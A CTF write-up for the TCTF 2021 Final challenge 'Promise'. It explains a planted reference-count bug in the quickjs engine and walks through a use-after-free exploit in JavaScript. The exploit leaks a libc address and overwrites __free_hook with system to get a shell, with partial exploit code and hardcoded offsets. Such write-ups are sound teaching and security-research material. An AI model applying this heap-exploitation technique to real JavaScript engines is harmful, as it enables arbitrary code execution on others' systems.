Last weekend we have participated TCTF 2021 Final and got 2nd place! Congratulation! I solved 3 challenges: Secure JIT 2, Promise and krop. Among these, I think Promise is quite worthy to do a full writeup.

0x00 Overview

In this challenge, we need to exploit quickjs engine, which is a lightweight JavaScript engine, and this is actually my first time to exploit this engine. The vulnerability we need to exploit is that when variable is copied to promise result, the reference counter is not incremented, so that use-after-free problem can be triggered. We trigger such UAF using ArrayBuffer instance so that we can manipulate baking storage of ArrayBuffer after it is freed. We utilize this to leak libc address and to rewrite backing store pointer of another TypedArray to achieve arbitrary write that rewrites __free_hook to system to get the shell.

0x01 Prerequisite

Before entering into the challenge, I may need to introduce some basic knowledges about quickjs that are required to solve this challenge.

Variable Representation

In JavaScript we have many types of variables, such as integer, object, array and built-in object(e.i. ArrayBuffer). The JavaScript engine needs to represent these variables in some way. In quickjs, every variable is represented as a JSValue:

// quickjs.h
typedef union JSValueUnion {
    int32_t int32;
    double float64;
    void *ptr;
} JSValueUnion;

typedef struct JSValue {
    JSValueUnion u; 
    // union that stores *content* of this variable
    int64_t tag; 
    // tag is used to tell how to interpret `u`, 
    // which stores information about *type* of this variable
} JSValue;

#define JSValueConst JSValue

The tag can be one of the following values, some parts of the enum are omitted for simplicity:

// quickjs.h
enum {
    /* all tags with a reference count are negative */
    // omited for simplicity....
    JS_TAG_OBJECT      = -1,

    JS_TAG_INT         = 0,
    JS_TAG_BOOL        = 1,
    JS_TAG_NULL        = 2,
    JS_TAG_UNDEFINED   = 3,
	// omited for simplicity....
    /* any larger tag is FLOAT64 if JS_NAN_BOXING */
};

What we need to know is that the sign here is used to tell whether this variable has a reference count: all tags with a reference count are negative. In other word, negative tag means that this variable is managed by heap and positive tag means that it is not managed by heap.

When tag is JS_TAG_OBJECT, ptr field of JSValueUnion is used, and this ptr points to a JSObject structure, which is defined in quickjs.c. All objects in quickjs, including built-in objects like ArrayBuffer, are represented in this way. The first 32 bits of JSObject are always reference count.

Debug

To build the debug version of binary, we can modify BUILDTYPE?=Release to BUILDTYPE?=Debug in Makefile and build according to this.

To look at how specific variable is stored in memory, we have a simple approach: set a breakpoint at function js_math_min_max or quickjs.c:41563, and call Math.min(v) to trigger the breakpoint, because js_math_min_max is the handler for Math.min. Then by inspecting memory layout of JSValueConst *argv or register r8, we can inspect memory representation of variable v.

Garbage Collection

As we see, the garbage collection of quickjs is managed by reference counting, and the object instance will be freed if the reference counting becomes zero. Here is an example illustrating this:

let o = [0x1337];
Math.min(o); // `x/wx argv->u.ptr`: ref_count == 2
// and we can also set breakpoint:
// `tb free if $rdi==[address shown above]`
// to see when this chunk will be freed
let v = o;
Math.min(o); // ref_count == 3
o = undefined;
Math.min(v); // ref_count == 2
v = undefined;
// breakpoint on free is triggered here
// before "Finish" is printed
console.log("Finish");

One thing that I don’t quite understand is that when we look at ref_count using Math.min approach, it is always one more than the current number of JavaScript variables that point to the object. I would guess there is also an internal reference that contributes to such one more reference count. This problem actually got me stuck for quite long time. Nonetheless, the object will still be freed when number of variables referencing to it decreases to zero, so we can just deem the actual reference count as ref_count - 1.

0x02 Vulnerability

The diff is applied to commit 0a533445f256fb3a628371e24705d3a2532f60f1.

diff --git a/deps/quickjs/src/quickjs.c b/deps/quickjs/src/quickjs.c
index a39ff8f..c0a42b2 100644
--- a/deps/quickjs/src/quickjs.c
+++ b/deps/quickjs/src/quickjs.c
@@ -46175,7 +46175,7 @@ static void fulfill_or_reject_promise(JSContext *ctx, JSValueConst promise,
 
     if (!s || s->promise_state != JS_PROMISE_PENDING)
         return; /* should never happen */
-    set_value(ctx, &s->promise_result, JS_DupValue(ctx, value));
+    set_value(ctx, &s->promise_result, value);
     s->promise_state = JS_PROMISE_FULFILLED + is_reject;
 #ifdef DUMP_PROMISE
     printf("fulfill_or_reject_promise: is_reject=%d\n", is_reject);

As we can see, JS_DupValue is just to increment ref_count when the variable has reference count (e.i. tag is negative):

static inline JSValue JS_DupValue(JSContext *ctx, JSValueConst v)
{
    if (JS_VALUE_HAS_REF_COUNT(v)) {
        JSRefCountHeader *p = (JSRefCountHeader *)JS_VALUE_GET_PTR(v);
        p->ref_count++;
    }
    return (JSValue)v;
}

Therefore, ref_count that should have been incremented is not incremented when the value is copied to promise result, so the object will be freed when there is still one variable referencing to it, leading to UAF vulnerability.

JavaScript Promise

For more information about Promise in JavaScript, you can read this. One thing to note is that handler of Promise is executed after main code execution finishes, but they can still share all global variables.

0x03 Exploitation

Triggering UAF

It is quite easy to trigger the vulnerability: we just need to pass an object to promise result.

function f(a)
{
  Math.min(a)
  console.log("Resolve2");
}

let arr = new ArrayBuffer(0x500);
function main()
{
  let p = new Promise((resolve, reject) =>
  {
    console.log("Promise Init");
    resolve(arr); // pass `arr` as promise result
  });
  p.then(f); // set callback handler
}

main();
console.log("Finish Main");

The execution result is shown below, although the assertion failure is not necessarily triggered all the time:

Promise Init
Finish Main
Resolve2
tjs: txiki.js/deps/quickjs/src/quickjs.c:5660: gc_decref_child: Assertion `p->ref_count > 0' failed.
Aborted (core dumped)

If we inspect reference counter at Math.min(a), we find that ref_count is 3. This is quite weird, because we expect a does not contribute to any reference count due to the bug, and there is only arr referencing to the object so the ref_count should be 2. I would guess there might be some internal reference inside Promise mechanism that is causing such one more ref_count.

What we want is actually 2 variables referencing to the same object but ref_count is one less than it should be (e.i. ref_count == 2). Therefore, setting one of them to undefined can cause the other variable to be UAF. However, the situation described above cannot satisfy this requirement. This actually got me stuck for quite long time.

Considering possible internal reference inside Promise mechanism mentioned above, I was thinking if such internal reference would disappear once this promise handler finishes. The idea is to copy the arr variable into another global variable arr2, and to start another promise handler but this time we pass a variable without reference count, so the bug would not be triggered. Inside this new handler, if we look at ref_count of arr, it becomes 2; and if we set arr to undefined, another global variable arr2 will become UAF!

function f2()
{
  console.log("Resolve3");
  Math.min(arr2); // ref_count == 2
  arr = undefined;
  Math.min(arr2); // UAF can be triggered
}

let arr2;
function f(a)
{
  console.log("Resolve2");
  arr2 = arr;
  // increment number of variables referecing to it
  let p = new Promise((resolve, reject) =>
  {
    console.log("Promise2 Init");
    resolve(0);
  });
  p.then(f2);
}

// main function is same as above, thus omitted...

Exploiting UAF

As we have already shown in the code above, we use ArrayBuffer with large size (so that its backing store does not fit into tcache bins) as the object to trigger UAF. The primary idea is using TypedArray. Instead of storing one reference to ArrayBuffer directly using global variable, we store it inside a TypedArray global variable. Therefore, after the ArrayBuffer is freed, we can still access the freed backing store of ArrayBuffer using TypedArray; this enables us to leak and rewrites the pointers.

However, this sometimes causes a problem: when we access the freed ArrayBuffer backing store using TypedArray, TypedArray will check whether the ArrayBuffer is detached, and this causes a crash because original JSObject of ArrayBuffer is already freed. The idea is to allocate some ArrayBuffer again to fill that freed JSObject of ArrayBuffer so that we can pass this check.

Finally, we need to look at the freed backing store memory inside gdb to see what we can read and write. How do we find the backing store pointer of freed ArrayBuffer using TypedArray? You can do this by reading source code but I would say the easiest approach is to set first few bytes of the buffer to some magic number like 0x13371337, and use tel in gdb to find the which pointer is pointing to such magic bytes. It turns out that this works very well.

By inspecting freed backing store memory in gdb, we find that we can leak libc address. This is great! As for the arbitrary write primitive, we can also allocate some new TypedArrays whose backing store pointers can be stored in the freed backing store memory, so that we can also rewrite this pointer to achieve arbitrary write. Using this we can rewrites __free_hook to system to get the shell. Part of the exploit is shown below:

const abs = [];
a1 = undefined;
for (let i = 0; i < 8; i++)
{
  abs.push(new ArrayBuffer(8)); 
  // allocate some new `ArrayBuffer` to
  // prevent crash when checking detechment 
}
const tas = [];
for (let i = 0; i < 8; i++)
{
  const ta = new Uint32Array(abs[i]);
  // we also use these `ArrayBuffer` to create `TypedArray`
  ta[0] = 1852400175;
  ta[1] = 6845231; 
  // set first 8 bytes to "/bin/sh"
  tas.push(ta);
}
const libc_addr = a0[0x170/4] + a0[0x170/4+1] * 0x100000000 - 0x3ebca0
console.log(hex(libc_addr));
// leak libc address

a0[0x1d8/4] = (libc_addr + 0x3ed8e8) % 0x100000000;
a0[0x1d8/4 + 1] = ((libc_addr + 0x3ed8e8) - a0[0x1d8/4]) / 0x100000000;
// set backing store of `TypedArray` to `__free_hook`

tas[0][0] = (libc_addr + 0x4f550) % 0x100000000;
tas[0][1] = ((libc_addr + 0x4f550) - tas[0][0]) / 0x100000000;
// __free_hook = system

An interesting point to note is that even comment can change heap layout of the freed backing store of ArrayBuffer, so this is the reason why I choose to put comment in writeup instead of in original exploit, which is here.

0x04 Conclusion

This is quite an interesting and hard challenge, we got 2nd blood and there are 3 solves eventually, and I have learned a lot about quickjs in this challenge. Thanks for the author for making this challenge.